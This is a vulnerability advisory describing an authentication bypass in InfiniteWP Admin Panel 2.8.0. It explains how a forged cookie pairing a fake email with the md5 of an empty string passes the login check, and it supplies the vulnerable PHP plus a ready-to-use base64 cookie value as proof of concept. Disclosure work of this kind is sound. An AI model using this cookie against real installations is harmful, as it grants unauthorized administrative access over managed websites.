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Authorization bypass in InfiniteWP Admin Panel
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Sipke Mellema, July 2016

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Abstract
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An authorization bypass was found in the InfiniteWP Admin Panel that
allows an unauthenticated attacker to gain access to the InfiniteWP
Admin Panel.

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OVE ID
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OVE-20160712-0007

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Tested versions
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This issue was successfully tested on IWPAdminPanel version 2.8.0.

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Fix
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This issue is resolved in IWPAdminPanel version 2.9.0.

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Details
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https://sumofpwn.nl/advisory/2016/authorization_bypass_in_infinitewp_admin_panel.html

Most files in the Admin Panel (ajax.php, debug.php, et cetera) include app.php from the includes directory. This files calls the method checkUserLoggedInAndRedirect, to check if a user is logged in.

The method checkUserLoggedInAndRedirect will call checkUserLoggedIn, where a user's cookie will be unserialized. The expected value from the unserialization is a string, which will be splitted on "||". The first value will be treated as an email address and the second value as an md5 hash. The email address is used to retrieve user data from the database. The database query will return an email address and a password.

The email address and password from the result are appended to each other and are transformed to an md5 hash. This hash is compared to the hash from the cookie. If these match, the method will return true, meaning the user logged in.

By submitting a cookie with a non-existent email address the query will return an empty result. The generated md5 hash will be the md5 hash of an empty string:

md5(email + password) = md5("" + "") = md5("") = "d41d8cd98f00b204e9800998ecf8427e"

Vulnerable code:

   list($userEmail,$userSlat) = explode('||', $userCookie);
   $userEmail = filterParameters($userEmail);
   if($userEmail!='' && $userSlat!='') {
         $where = array(
          'query' => "email = ':email'" ,
          'params' => array(
    ':email'=>trim($userEmail)
               )
         );
    $userInfo = DB::getRow("?:users", "userID,email,password", $where );
         
    $GLOBALS['userID'] = $userInfo['userID'];
    $GLOBALS['email'] = strtolower($userInfo['email']);
    $dbSlat = md5($GLOBALS['email'].$userInfo['password']);
    if($userSlat==$dbSlat) {
    $return = true;

Proof of concept

The following value can be base64 encoded in the user cookie to bypass the authorization check:

s:44:"falseEmail||d41d8cd98f00b204e9800998ecf8427e";

This includes a non-existing email address (falseEmail) and the md5 hash of an empty string (d41d8cd98f00b204e9800998ecf8427e).

Exploitation can be shown as follows. First, call the ajax.php page without a cookie to ensure that you are not logged in:
https://<webserver>/IWPAdminPanel_v2.8.0/ajax.php

This should return:

'{"logout":true}'...

Now set a cookie named iwp_userCookie to czo0NDoiZmFsc2VFbWFpbHx8ZDQxZDhjZDk4ZjAwYjIwNGU5ODAwOTk4ZWNmODQyN2UiOw== and visit the URL again. It will now return:

{"actionResult":[],"data":[]...


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